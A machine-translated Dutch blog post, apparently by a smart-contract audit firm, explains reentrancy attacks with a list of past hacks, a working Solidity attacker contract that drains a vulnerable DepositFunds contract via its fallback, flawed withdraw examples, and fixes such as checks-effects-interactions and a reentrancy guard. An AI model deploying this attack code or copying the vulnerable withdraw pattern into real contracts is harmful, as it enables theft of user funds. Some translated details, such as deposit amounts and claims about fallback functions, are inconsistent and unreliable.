Hoe te ontsnappen aan slimme contracten van de koppeling van re-entry-aanvallen? PlatoBlockchain-gegevensintelligentie. Verticaal zoeken. Ai.

Hoe te ontsnappen aan slimme contracten van de koppeling van re-entry-aanvallen?

Leestijd: 6 minuten

Als we de grootste crypto-hacks en de oogverblindende figuren die voor hen zijn verloren, nader bekijken, zouden ze diepgeworteld zijn door de coderingsfouten.

Een van die veelvoorkomende beveiligingsproblemen is de Reentrancy-aanval. Het destructieve effect dat wordt veroorzaakt door verkeerd behandelde herintreding klinkt misschien niet zo eenvoudig als het lanceren van de aanval zelf.

Ondanks dat het een bekend en veel gepubliceerd probleem is, is de verschijning van de Reentrancy-bug in slimme contracten altijd onvermijdelijk. 

Hoe vaak is de Reentrancy-kwetsbaarheid de afgelopen jaren misbruikt door hackers? Hoe werkt het? Hoe voorkom je dat slimme contracten geld verliezen aan re-entrancy-bugs? Vind antwoorden op deze vragen in deze blog.

Dus, het duurt niet lang voordat we de grootste herintredingsaanvallen in het geheugen opfrissen. 

Enkele van de meest beruchte real-time herintredingshacks 

Terugkeeraanvallen die de meest verwoestende effecten op de projecten veroorzaakten, deden uiteindelijk een van deze twee of zelfs beide. 

  • Tap de Ether volledig af van de slimme contracten
  • Hackers sluipen de slimme contractcode binnen

We kunnen nu enkele gevallen van re-entrancy-aanvallen en hun impact waarnemen. 

juni 2016: DAO-aanval โ€“ 3.54 miljoen of $150 miljoen ether

april 2020: Uniswap/Lendf.Me-hack โ€“ $25M

Mei 2021: De BurgerSwap-hack - $ 7.2 miljoen

2021 aug. CREAM FINANCE-hack - $ 18.8 miljoen

maart 2022: Ola Finance - $ 3.6 miljoen

Jul 2022: OMNI-protocol - $ 1.43 miljoen

Het is glashelder dat Reentrancy-aanvallen nooit uit de mode zijn geraakt. Laten we er dieper inzicht in krijgen in de volgende passages. 

Overzicht van Reentrancy-aanval

Vanaf de naam "Reentrancy", wat betekent "Keer op keer opnieuw binnenkomen". Reentrancy-aanval omvat twee contracten: het slachtoffercontract en het aanvallercontract. 

Het aanvallercontract maakt gebruik van de herintredingskwetsbaarheid in het slachtoffercontract. Het gebruikt de terugtrekfunctie om dit te bereiken. 

Het contract van de aanvaller roept de opnamefunctie aan om het geld van het slachtoffercontract af te voeren door herhaaldelijk te bellen voordat het saldo in het slachtoffercontract wordt bijgewerkt. Het slachtoffercontract controleert het saldo, stuurt geld en werkt het saldo bij. 

Maar binnen het tijdsbestek van het verzenden van het geld en het bijwerken van het saldo in het contract, roept het contract van de aanvaller voortdurend op om geld op te nemen. Als gevolg hiervan wordt het saldo in het slachtoffercontract pas bijgewerkt als het aanvallercontract al het geld heeft leeggemaakt.

De ernst en de kosten van uitbuiting bij herintreding alarmeren de dringende noodzaak om te presteren slimme contractaudits om de mogelijkheid uit te sluiten dat dergelijke fouten over het hoofd worden gezien. 

Illustratieve weergave van Reentrancy Attack

Laten we het concept van een terugkeeraanval doorgronden aan de hand van de vereenvoudigde illustratie hieronder. 

Hier zijn twee contracten: het kwetsbare contract en het Hacker-contract

Het hackercontract doet een oproep om zich terug te trekken uit het kwetsbare contract. Bij ontvangst van de oproep controleert het kwetsbare contract het geld in het hackercontract en maakt het geld vervolgens over naar de hacker. 

De hacker ontvangt het geld en implementeert de fallback-functie, die opnieuw een beroep doet op het kwetsbare contract nog voordat het saldo in het kwetsbare contract is bijgewerkt. Door dezelfde operatie te herhalen, trekt de hacker het geld volledig uit het kwetsbare contract. 

Hoe te ontsnappen aan slimme contracten van de koppeling van re-entry-aanvallen?

Functies van terugvalfunctie gebruikt door aanvaller 

  • Ze zijn extern oproepbaar. Dat wil zeggen dat ze niet kunnen worden gebeld vanuit het contract waarin ze zijn geschreven
  • Naamloze functie
  • De terugvalfunctie bevat geen willekeurige logica erin
  • Terugval wordt geactiveerd wanneer ETH wordt verzonden naar het bijbehorende slimme contract en er geen ontvangst()-functie wordt gedeclareerd.

Herintredingsaanval analyseren vanuit technisch oogpunt 

Laten we een voorbeeldcontract nemen en begrijpen hoe de terugkeeraanval plaatsvindt.

Kwaadaardig contract

contract Attack {
    DepositFunds public depositFunds;

    constructor(address _depositFundsAddress) {
        depositFunds = DepositFunds(_depositFundsAddress);
    }

    // Fallback is called when DepositFunds sends Ether to this contract.
    fallback() external payable {
        if (address(depositFunds).balance >= 1 ether) {
            depositFunds.withdraw();
        }
    }

    function attack() external payable {
        require(msg.value >= 1 ether);
        depositFunds.deposit{value: 1 ether}();
        depositFunds.withdraw();
    }


}

Dit is het aanvallercontract waarin de aanvaller 2ETH stort. De aanvaller roept de intrekfunctie in het kwetsbare contract aan. Zodra het geld van het kwetsbare contract is ontvangen, wordt de fallback-functie geactiveerd. 

De fallback voert vervolgens de opnamefunctie uit en onttrekt het fonds aan het kwetsbare contract. Deze cyclus gaat door totdat de fondsen volledig zijn uitgeput van het kwetsbare contract.

Kwetsbaar contract

contract DepositFunds {
    mapping(address => uint) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw() public {
        uint bal = balances[msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }


}

Het kwetsbare contract heeft 30ETH. Hierin stuurt de functie terugtrekken() het gevraagde bedrag naar de aanvaller. Omdat het saldo niet wordt bijgewerkt, worden de tokens herhaaldelijk overgedragen aan de aanvaller. 

Soorten terugkeeraanvallen

  • Herintreding met รฉรฉn functie 
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

De msg.sender.call.value(amount)() maakt het geld over, waarna de terugvalfunctie van het contract van de aanvaller terugtrekking()oproept voordat de saldi[msg.sender] = 0 worden bijgewerkt.

  • Cross-functie terugkeer
function transfer(address to, uint amount) external {
   if (balances[msg.sender] >= amount) {
       balances[to] += amount;
       balances[msg.sender] -= amount;
   }
}
function withdraw() external {
   uint256 amount = balances[msg.sender];
   require(msg.sender.call.value(amount)());
   balances[msg.sender] = 0;
}

Cross-function herintreding is veel complexer om te identificeren. Het verschil hier is dat de fallback-functie overdracht aanroept, in tegenstelling tot re-entrancy met รฉรฉn functie, waar het terugtrekken oproept.

Preventie tegen terugkeeraanvallen

Checks-Effects-Interactions Patroon: Checks-effects-interactions patroon helpt bij het structureren van de functies. 

Het programma moet zo worden gecodeerd dat eerst de voorwaarden worden gecontroleerd. Zodra de controles zijn doorstaan, moeten de effecten op de status van de contracten worden opgelost, waarna de externe functies kunnen worden aangeroepen. 

function withdraw() external {
   uint256 amount = balances[msg.sender];
   balances[msg.sender] = 0;
   require(msg.sender.call.value(amount)());
}

De herschreven code volgt hier het checks-effects-interactions patroon. Hier wordt het saldo op nul gezet voordat een externe oproep wordt gedaan. 

Gebruik van modifier

De modifier noReentrant toegepast op de functie zorgt ervoor dat er geen terugkerende oproepen zijn. 

contract ReEntrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}

In The End

De meest effectieve stap is om slimme contractaudits over te nemen van een toonaangevend beveiligingsbedrijf als QuillAudits, waarbij de auditors de structuur van de code nauwlettend in de gaten houden en kijken hoe de fallback-functie presteert. Op basis van de bestudeerde patronen worden aanbevelingen gedaan om de code te herstructureren als die er lijkt te zijn kwetsbaar gedrag

De veiligheid van fondsen is gegarandeerd vlak voordat u het slachtoffer wordt van eventuele verliezen. 

Veelgestelde vragen

Wat is een terugkeeraanval?

Een herintredingsaanval vindt plaats wanneer een functie in het kwetsbare contract een oproep doet naar een niet-vertrouwd contract. Het niet-vertrouwde contract zal het contract van de aanvaller zijn dat recursieve aanroepen doet naar het kwetsbare contract totdat het geld volledig is opgebruikt. 

Wat is een herintreder?

De handeling van opnieuw invoeren betekent het onderbreken van de uitvoering van de code en het opnieuw starten van het proces, ook wel bekend als opnieuw invoeren.

Wat is een instapwachter?

Reentrancy guard gebruikt een modifier die voorkomt dat de functie herhaaldelijk wordt aangeroepen. Lees de blog hierboven om het voorbeeld voor instapbeveiliging te vinden.

Wat zijn enkele van de aanvallen op slimme contracten?

Slimme contracten worden blootgesteld aan tal van kwetsbaarheden, zoals herintreding, tijdstempelafhankelijkheid, rekenkundige overflows, DoS-aanvallen, enzovoort. Daarom is auditing een must om ervoor te zorgen dat er geen bugs zijn die de logica van het contract instorten.

69 keer bekeken

Tijdstempel:

Meer van Quillhash